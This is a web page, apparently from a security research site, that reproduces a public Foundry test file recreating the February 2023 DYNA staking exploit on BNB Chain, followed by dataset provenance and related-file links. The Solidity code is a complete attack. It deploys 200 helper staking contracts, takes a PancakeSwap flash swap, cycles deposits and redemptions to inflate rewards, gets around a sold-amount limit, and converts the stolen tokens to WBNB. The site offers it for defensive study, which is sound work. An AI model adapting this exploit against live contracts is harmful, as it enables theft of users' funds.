Public reproduction file
src/test/2023-02/DYNA_exp.sol
Public reproduction file for dataset entry - DYNA.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BlockSecTeam/status/16283195361171537949// https://twitter.com/BeosinAlert/status/162830163583448678410// @TX11// https://bscscan.com/tx/0x06bbe093d9b84783b8ca92abab5eb8590cb2321285660f9b2a529d665d3f18e412// https://bscscan.com/tx/0xc09678fec49c643a30fc8e4dec36d0507dae7e9123c270e1f073d335deab6cf014interface IStakingDYNA {15 function deposit(16 uint256 _stakeAmount17 ) external;18 function redeem(19 uint256 _redeemAmount20 ) external;21}23interface IDYNA is IERC20 {24 function _setMaxSoldAmount(25 uint256 maxvalue26 ) external;27 function _maxSoldAmount() external view returns (uint256);28}30contract StakingReward {31 IERC20 DYNA = IERC20(0x5c0d0111ffc638802c9EfCcF55934D5C63aB3f79);32 IStakingDYNA StakingDYNA = IStakingDYNA(0xa7B5eabC3Ee82c585f5F4ccC26b81c3Bd62Ff3a9);33 address Owner;35 constructor(36 address owner37 ) {38 Owner = owner;39 DYNA.approve(address(StakingDYNA), type(uint256).max);40 }42 function deposit(43 uint256 amount44 ) external {45 StakingDYNA.deposit(amount);46 }48 function withdraw(49 uint256 amount50 ) external {51 StakingDYNA.redeem(amount);52 DYNA.transfer(Owner, DYNA.balanceOf(address(this)));53 }54}56contract ContractTest is Test {57 IDYNA DYNA = IDYNA(0x5c0d0111ffc638802c9EfCcF55934D5C63aB3f79);58 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);59 IStakingDYNA StakingDYNA = IStakingDYNA(0xa7B5eabC3Ee82c585f5F4ccC26b81c3Bd62Ff3a9);60 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);61 Uni_Pair_V2 Pair = Uni_Pair_V2(0xb6148c6fA6Ebdd6e22eF5150c5C3ceE78b24a3a0);62 StakingReward stakingReward;63 StakingReward[] StakingRewardList;64 uint256 flashLoanAmount;65 address DYNAOwner = 0xA8Ff6C807654c5B2B55f188e9a7Ce31C8d192353;67 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);69 function setUp() public {70 cheats.createSelectFork("bsc", 25_879_486);71 cheats.label(address(DYNA), "DYNA");72 cheats.label(address(WBNB), "WBNB");73 cheats.label(address(Router), "Router");74 cheats.label(address(Pair), "Pair");75 cheats.label(address(StakingDYNA), "StakingDYNA");76 }78 function testExploit() external {79 StakingRewardFactory();80 DYNA.transfer(address(Pair), 1); //81 DYNA.transfer(tx.origin, 1e17);82 //83 cheats.startPrank(tx.origin);84 // Bypass Sold Amount Limit85 DYNA.transfer(address(Pair), 1); //86 cheats.stopPrank();87 //88 cheats.warp(block.timestamp + 7 * 24 * 60 * 60);89 // deposit a week ago90 flashLoanAmount = DYNA.balanceOf(address(Pair)) - 3;91 Pair.swap(flashLoanAmount, 0, address(this), new bytes(1));92 DYNAToWBNB();94 emit log_named_decimal_uint("Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);95 }97 function StakingRewardFactory() internal {98 deal(address(DYNA), address(this), 1001 * 1e18);99 uint256 preStakingRewardAmount = 1000 * 1e18 / 200;100 for (uint256 i; i < 200; ++i) {101 stakingReward = new StakingReward(address(this));102 DYNA.transfer(address(stakingReward), preStakingRewardAmount);103 stakingReward.deposit(preStakingRewardAmount);104 StakingRewardList.push(stakingReward);105 }106 }108 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {109 uint256 listLength = StakingRewardList.length;110 for (uint256 i; i < listLength; ++i) {111 uint256 amount = DYNA.balanceOf(address(this));112 DYNA.transfer(address(StakingRewardList[i]), amount);113 StakingRewardList[i].deposit(amount);114 StakingRewardList[i].withdraw(amount);115 }116 DYNA.transfer(address(Pair), flashLoanAmount * 100_000 / 9975 / 9 + 1000);117 }119 function DYNAToWBNB() internal {120 DYNA.transfer(tx.origin, DYNA.balanceOf(address(this)));121 cheats.startPrank(tx.origin);122 DYNA.approve(address(Router), type(uint256).max);123 address[] memory path = new address[](2);124 path[0] = address(DYNA);125 path[1] = address(WBNB);126 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(127 DYNA.balanceOf(tx.origin), 0, path, address(this), block.timestamp128 );129 cheats.stopPrank();130 }131}Analysis
Dataset entry
Public Foundry test for “- DYNA” (2023-02-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-02/BonqDAO_exp.solSame month in the dataset · 533 lines
- src/test/2023-02/CowSwap_exp.solSame month in the dataset · 64 lines
- src/test/2023-02/Dexible_exp.solSame month in the dataset · 83 lines
- src/test/2023-02/dForce_exp.solSame month in the dataset · 382 lines
- src/test/2023-02/EFVault_exp.solSame month in the dataset · 38 lines
- src/test/2023-02/FDP_exp.solSame month in the dataset · 114 lines
- src/test/2023-02/LaunchZone_exp.solSame month in the dataset · 146 lines
- src/test/2023-02/Orion_exp.solSame month in the dataset · 191 lines
- src/test/2023-02/Platypus_exp.solSame month in the dataset · 138 lines
- src/test/2023-02/RevertFinance_exp.solSame month in the dataset · 91 lines
- src/test/2023-02/Sheep_exp.solSame month in the dataset · 72 lines
- src/test/2023-02/USDs_exp.solSame month in the dataset · 51 lines
- src/test/2023-02/Starlink_exp.solSame month in the dataset · 80 lines
- src/test/2023-02/SwapX_exp.solSame month in the dataset · 83 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame protocol or name in the dataset · 180 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Reference: https://twitter.com/BlockSecTeam/status/1628319536117153794
- Reference: https://twitter.com/BeosinAlert/status/1628301635834486784
- Explorer: https://bscscan.com/tx/0x06bbe093d9b84783b8ca92abab5eb8590cb2321285660f9b2a529d665d3f18e4
- Explorer: https://bscscan.com/tx/0xc09678fec49c643a30fc8e4dec36d0507dae7e9123c270e1f073d335deab6cf0
File record
- Name
- DYNA
- Path
- src/test/2023-02/DYNA_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8d9eea187fe9d3aaa46f1c4d7b2c29d945988846
- Language
- Solidity
- Size
- 132 lines
- Date
- 2023-02-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-02/DYNA_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8d9eea187fe9d3aaa46f1c4d7b2c29d945988846, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.